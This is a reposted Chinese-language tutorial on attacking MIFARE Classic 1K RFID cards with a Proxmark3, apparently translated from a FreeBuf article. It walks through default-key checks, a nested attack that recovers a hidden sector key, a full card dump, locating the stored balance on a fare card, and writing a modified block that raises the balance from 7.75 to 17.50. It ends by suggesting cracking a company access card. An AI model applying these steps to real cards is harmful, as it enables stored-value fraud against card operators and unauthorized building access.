mifare经典工具使用教程视频,下载mifare经典工具

首页 > 经验 > 作者:YD1662022-11-02 04:03:19

我开始使用hf指令搜索并识别MIFARE卡

mifare经典工具使用教程视频,下载mifare经典工具(9)

proxmark3> hf search #db# DownloadFPGA(len: 42096) UID : bc 4e a5 35 ATQA : 00 04 SAK : 08 [2] TYPE : NXP MIFARE CLASSIC 1k | Plus 2k SL1 proprietary non iso14443-4 card found, RATS not supported Answers to chinese magic backdoor commands: NO Valid ISO14443A Tag Found - Quitting Search

不幸的是,MIFARE卡不像之前的低频卡克隆那样容易,它利用简单的认证方式,阻止我们克隆UID。虽然我们可以从卡中读取某些块,但是由于“认证错误”,其它块并不可用:

成功读取

proxmark3> hf mf rdbl 0 A FFFFFFFFFFFF --block no:0, key type:A, key:ff ff ff ff ff ff #db# READ BLOCK FINISHED isOk:01 data:01 02 03 04 04 08 04 00 00 00 00 00 00 00 00 00

失败读取

proxmark3> hf mf rdbl 5 A FFFFFFFFFFFF --block no:5, key type:A, key:ff ff ff ff ff ff #db# Authentication failed. Card timeout. #db# Auth error #db# READ BLOCK FINISHED isOk:00

起初发现这个问题,我觉得很奇怪,但很快发现前文提到的key,这是我在网上找到的资料。MIFARE Classic 1K射频卡有1024字节可储存数据,同时分为分为16个扇区,每个扇区由两个不同的key保护(前文说明的A,B),出于某种原因,一些MIFARE卡仅使用默认key,这样就造成可以利用应用程序测试key,并针对卡进行测试。

PM3具有“测试key(块)”指令,它将测试我们的默认key。

proxmark3> hf mf chk * ? No key specified, trying default keys chk default key[ 0] ffffffffffff chk default key[ 1] 000000000000 chk default key[ 2] a0a1a2a3a4a5 chk default key[ 3] b0b1b2b3b4b5 chk default key[ 4] aabbccddeeff chk default key[ 5] 4d3a99c351dd chk default key[ 6] 1a982c7e459a chk default key[ 7] d3f7d3f7d3f7 chk default key[ 8] 714c5c886e97 chk default key[ 9] 587ee5f9350f chk default key[10] a0478cc39091 chk default key[11] 533cb6c723f6 chk default key[12] 8fd0a4f256e9 --sector: 0, block: 3, key type:A, key count:13 Found valid key:[ffffffffffff] ...omitted for brevity... --sector:15, block: 63, key type:B, key count:13 Found valid key:[ffffffffffff]

我可以使用默认key(ffffffffffff)读取大多数块,但有些没有包含在内。我可以使用“Nested攻击”,我们可以使用我们的一个可用的key来识别其它块的key。

proxmark3> hf mf nested 1 0 A ffffffffffff d Testing known keys. Sector count=16 nested... ----------------------------------------------- uid:bc4ea535 trgbl=4 trgkey=0 Found valid key:080808080808 ----------------------------------------------- uid:bc4ea535 trgbl=8 trgkey=0 Found valid key:080808080808 Time in nested: 7.832 (3.916 sec per key) ----------------------------------------------- Iterations count: 2 |---|----------------|---|----------------|---| |sec|key A |res|key B |res| |---|----------------|---|----------------|---| |000| ffffffffffff | 1 | ffffffffffff | 1 | |001| 080808080808 | 1 | ffffffffffff | 1 | |002| 080808080808 | 1 | ffffffffffff | 1 | |003| ffffffffffff | 1 | ffffffffffff | 1 | |004| ffffffffffff | 1 | ffffffffffff | 1 | |005| ffffffffffff | 1 | ffffffffffff | 1 | |006| ffffffffffff | 1 | ffffffffffff | 1 | |007| ffffffffffff | 1 | ffffffffffff | 1 | |008| ffffffffffff | 1 | ffffffffffff | 1 | |009| ffffffffffff | 1 | ffffffffffff | 1 | |010| ffffffffffff | 1 | ffffffffffff | 1 | |011| ffffffffffff | 1 | ffffffffffff | 1 | |012| ffffffffffff | 1 | ffffffffffff | 1 | |013| ffffffffffff | 1 | ffffffffffff | 1 | |014| ffffffffffff | 1 | ffffffffffff | 1 | |015| ffffffffffff | 1 | ffffffffffff | 1 | |---|----------------|---|----------------|---| Printing keys to binary file dumpkeys.bin...

注意:在早期Nested 攻击命令中,输入d(参数)将key转储到dumpkeys.bin文件,才能够保证继续使用 MIFARE卡其它指令。现在我们有一个新key,080808080808。该key允许我们读取隐藏块。

proxmark3> hf mf rdbl 5 A 080808080808 --block no:5, key type:A, key:08 08 08 08 08 08 #db# READ BLOCK FINISHED isOk:01 data:00 0a 00 00 ff f5 ff ff 00 0a 00 00 05 fa 05 fa

dumpkeys.bin文件已经准备好,我们可以转储整个卡的数据,并将其写入到空白的MIFARE卡上。

proxmark3> hf mf dump 1 |-----------------------------------------| |------ Reading sector access bits...-----| |-----------------------------------------| #db# READ BLOCK FINISHED ...omitted for brevity... #db# READ BLOCK FINISHED |-----------------------------------------| |----- Dumping all blocks to file... -----| |-----------------------------------------| #db# READ BLOCK FINISHED Successfully read block 0 of sector 0. ...omitted for brevity... Successfully read block 3 of sector 15. Dumped 64 blocks (1024 bytes) to file dumpdata.bin

借助dumpdata.bin文件,我们可以将此卡的内容还原到另一张卡上,输入命令:hf mf restore 1,然而,克隆一张MIFARE卡效率还是很低(totem pole),使用新key,我就可以读写一张空白卡,这种卡通常被作为车票卡,一些人可能会想到是否可以修改里面的金额。先来看看卡中部分转存数据

bc4e a535 6288 0400 8500 b42e f0bb 6aa8 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 ffff ffff ffff ff07 8069 ffff ffff ffff 4f54 4f54 0050 0082 0136 000b 0000 0000 4b07 0000 b4f8 ffff 4b07 0000 05fa 05fa 0000 0000 0101 0000 0000 0001 0100 0000

得到的数据不能解析,再次重复以上步骤,然后查看数据

bc4e a535 6288 0400 8500 b42e f0bb 6aa8 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 ffff ffff ffff ff07 8069 ffff ffff ffff 4f54 4f54 0050 0082 0136 000b 0000 0000 3205 0000 cdfa ffff 3205 0000 05fa 05fa 0000 0000 0101 0000 0000 0001 0100 0000

其中一行数据由

4b07 0000 b4f8 ffff 4b07 0000 05fa 05fa

变为

3205 0000 cdfa ffff 3205 0000 05fa 05fa

当时虽然没有立刻看明白这行数据意思,但已经明白卡上肯定存在一个可以变化的数值,最简单的一个假设是,卡正在存储金额,然后扣去交易额。我们的起始价值(7.75),一个项目的开支成本(2.25)和差值(5.50)。

我们可以将这些数据转为16进制,为了简化搜索,我们只需75,将其转换为十六进制(0x4b),然后搜索第一个转储数据值:

4b07 0000 b4f8 ffff 4b07 0000 05fa 05fa

这样我就发现了卡存储金额的部分了,特别是考虑到以下字节0×07。因此,我们应该能够通过修改这些字节来增加我们卡的金额。

你可以不需要理解字节的详细含义,它们并不重复,在前面两次转储数据,可以看出没有什么规律,这一点上需要小心谨慎,用ffff(前文)替换我们的金额数值,仅需要重新将获取的数据写入智能卡中。

注意:有人指出其中两个数值b4f8和4b07加起来是ffff,其实这是校验和的数值,读卡者可以利用这个来确认卡的金额是否在交易完成后更新。

我已经将卡中数值更改到17.50,我们可以采取新的转储数据并保存第5块的结果(存储值)。

Block 0: bc4e a535 6288 0400 8500 b42e f0bb 6aa8 Block 1: 0000 0000 0000 0000 0000 0000 0000 0000 Block 2: 0000 0000 0000 0000 0000 0000 0000 0000 Block 3: ffff ffff ffff ff07 8069 ffff ffff ffff Block 4: 4f54 4f54 0050 0082 0136 000b 0000 0000 Block 5: 3211 0000 cdee ffff 3211 0000 05fa 05fa Block 6: 0000 0000 0101 0000 0000 0001 0100 0000

现在我们可以无限制将卡中数值更改到17.50。

写入(块)

proxmark3> hf mf wrbl 5 A 080808080808 32110000cdeeffff3211000005fa05fa --block no:5, key type:A, key:08 08 08 08 08 08 --data: 32 11 00 00 cd ee ff ff 32 11 00 00 05 fa 05 fa #db# WRITE BLOCK FINISHED isOk:01

读出(块)

proxmark3> hf mf rdbl 5 A 080808080808 --block no:5, key type:A, key:08 08 08 08 08 08 #db# READ BLOCK FINISHED isOk:01 data:32 11 00 00 cd ee ff ff 32 11 00 00 05 fa 05 fa

即使没有使用默认key,我们也可以嗅探真实的读卡器和卡之间的通信协议,并获取关键key。只要我们知道一个现有的key,我们就可以利用前文提到的nested攻击识别其它key来获取对该卡的读/写访问。

结论

通过从事多年RFID卡系统的安全研究,我得出一个结论,Proxmark 3可以说是研究RFID卡系统的最佳工具,并在研究过程中可以学习到很多相关知识。如果你有兴趣克隆RFID卡并了解这些系统的工作原理,我非常建议您选择ProxMark 3和T5577卡。当然你也可以将公司的门禁卡破解之后做成一把属于自己的小钥匙,这件事看起来也是比较有趣的。

*参考来源:kchung,饭团君编译,转载自FreeBuf.COM

上一页123末页

栏目热文

文档排行

本站推荐

Copyright © 2018 - 2021 www.yd166.com., All Rights Reserved.